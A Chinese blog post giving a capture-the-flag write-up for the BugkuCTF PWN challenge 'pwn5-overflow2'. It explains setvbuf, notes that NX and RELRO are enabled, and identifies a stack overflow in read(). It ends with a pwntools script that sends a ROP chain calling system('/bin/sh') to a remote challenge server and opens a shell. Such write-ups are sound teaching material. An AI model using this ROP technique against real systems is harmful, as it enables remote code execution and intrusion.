BugkuCTF-PWN题pwn5-overflow2超详细讲解

彬彬有礼am_03

于 2021-08-31 00:17:34 发布

阅读量1.9k

点赞数 1

CC 4.0 BY-SA版权

分类专栏： # BugkuCTF-PWN 文章标签：安全

本文链接：https://blog.youkuaiyun.com/am_03/article/details/120008297

BugkuCTF-PWN 专栏收录该内容

7 篇文章

订阅专栏

本文探讨了setvbuf函数在提高系统效率中的作用，特别是在处理大量磁盘I/O场景中的内存优化。通过实例展示了如何利用setvbuf原理和栈溢出漏洞构造ROP链，实现远程代码执行。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

知识点

setvbuf:
setvbuf函数的功能：
如果你的内存足够大，可以把文件IO的BUF设置大一些，这样每次你用
fopen/fread/fwrite/fscanf/fprintf语句的时候，都会在内存里操作，减少内存到磁盘IO读写的操作次数，提高系统效率。
如果你的程序的功能涉及到类似数据库、视频、音频、图像处理等大量需要爆发式磁盘到内存的IO情况下，可以考虑setvbuf进行优化内存IO。
功能: 把缓区与流相关

解题流程

查看保护机制
在这里插入图片描述
发现开启了RELRO,NX
只能通过ROP绕过

IDA打开，查看伪码：
在这里插入图片描述
0x20=32
0x100=256
read()函数存在栈溢出，查看栈结构

构造rop链

在这里插入图片描述
system函数的地址是0x401050

exp

from pwn import *
#sh = process('./pwn')
sh = remote('114.67.246.176',12246)

sh.recvuntil('Please Input your name')

pop_rdi_ret = 0x40126b
system_addr = 0x401050
binsh_addr = 0x402004

payload = b'a' * 32 + p64(1) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
sh.send(payload)
sh.interactive()